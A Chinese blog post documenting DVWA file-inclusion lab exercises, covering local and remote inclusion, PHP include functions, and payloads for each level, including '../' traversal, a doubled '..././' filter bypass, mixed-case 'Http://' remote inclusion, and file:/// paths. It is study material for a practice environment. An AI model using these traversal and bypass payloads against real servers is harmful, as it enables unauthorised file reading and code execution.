DVWA-file including

其实已经做过好多文件包含的练习,但是都是比较零碎的题目
这次就整体一起来总结一下吧:

文件包含漏洞简介

1.文件包含可以分为本地文件包含和远程文件包含两种。文件包含和文件上传一样本身并不是漏洞,而是攻击者利用了包含的特性加上了应用本身对文件控制不严格,对include进来的文件不可控,才导致了一系列的危害
2.本地文件包含就是通过URL将服务器本地的其他文件include进来。远程文件包含就是将远程服务器的文件include进来
3.最主要的是,包含进来的文件都是以当前脚本文件解析,例如在apache+PHP环境,那么被include进来的文件,不管是什么类型,例如图片,文本文档,都会被当成php脚本来解析

本地文件包含

通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤,允许遍历目录的字符注入浏览器并执行
总的来说就是被包含的文件再服务器本地

远程文件包含

在远程服务器上预先设置好的脚本,然后攻击者利用该漏洞包含一个远程的文件,这种漏洞的出现是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露,拒绝服务攻击,甚至在目标服务器上执行代码
简单的说,就是被包含的文件在第三方服务器

常见函数

1
2
3
4
5
6
7
Include()
当包含并运行指定文件时,包含的外部文件发生错误,系统会给出警告,但整个php文件还会继续执行。
Require()
require()与 include()的区别在于 require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
include_once()
include没有什么区别,只是在导入函数之前先检测下该文件是否被include过,如果已经执行了一遍,那么就不在进行第二次的include操作。require_once()
功能与 require()相同,区别在于当重复调用同一文件时,程序只调用一次

小tips

1
2
3
4
5
/ 		根目录
./ 是当前目录
../ 返回到上一级目录
../../ 返回了两级目录
.\ 、..\和./、../意义相同

DVWA练习

low

本地文件包含:

在low级别中

1
2
3
<?php 
$file = $_GET[ 'page' ];
?>

这个对get的page没有任何过滤

1
2
3
4
5
6
if( isset( $file ) )  
include( $file );
else {
header( 'Location:?page=include.php' );
exit;
}

在index.php文件中发现inlude() 所以有文件包含漏洞
构建

1
?page=../../phpinfo.php

img

有的人会问,你怎么知道上移两级可以找到这个文件?
当然不知道呀,试出来的

远程文件包含

我们现在我们www下构建一个文件
img
然后通过输入URL进行打开img
这里需要注意的是,文件名不能包含空格之类的字符,不然到时候会被被编码成%20反而找不到文件了

medium

1
$file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\"" ), "", $file ); 

在这个关卡中,使用了两个正则过滤了以上字符

本地文件包含

尝试一下使用复写的方式进行绕过:

1
?page=..././..././phpinfo.php

好的绕过成功
img

感觉过滤绕过的方法都很像,所以要经常复习!

远程文件包含

1
payload:?page=Http://url    //在这里也是直接采取大小写拼接,或者复写都可以

high

1
2
3
4
5
if( !fnmatch( "file*", $file ) && $file != "include.php" ) 
{
echo "ERROR: File not found!";
exit;
}

fnmatch() 函数根据指定的模式来匹配文件名或字符串。
这里使用fnmatch检查page参数,必须是file*
问:file*是什么类型?
这里指的是需要file协议类型:
定义本地文件传输协议 ,file协议主要用于访问本地计算机中的文件.
file协议的格式:

1
file:///+绝对路径

https://www.cnblogs.com/lishanlei/p/9327646.html
所以这里我们需要知道绝对路径才行,不能在使用../退格

impossible难度

直接白名单,简单粗暴没啥好说–

小结

存在文件包含漏洞,我觉得很大的作用是获取路径信息或者其他有用信息为文件上传get shell 做准备
1.报错产生文件路径
img
2.通过已有的路径,猜解服务器绝对路径

Author

vague huang

Posted on

2021-01-23

Updated on

2021-01-23

Licensed under

Comments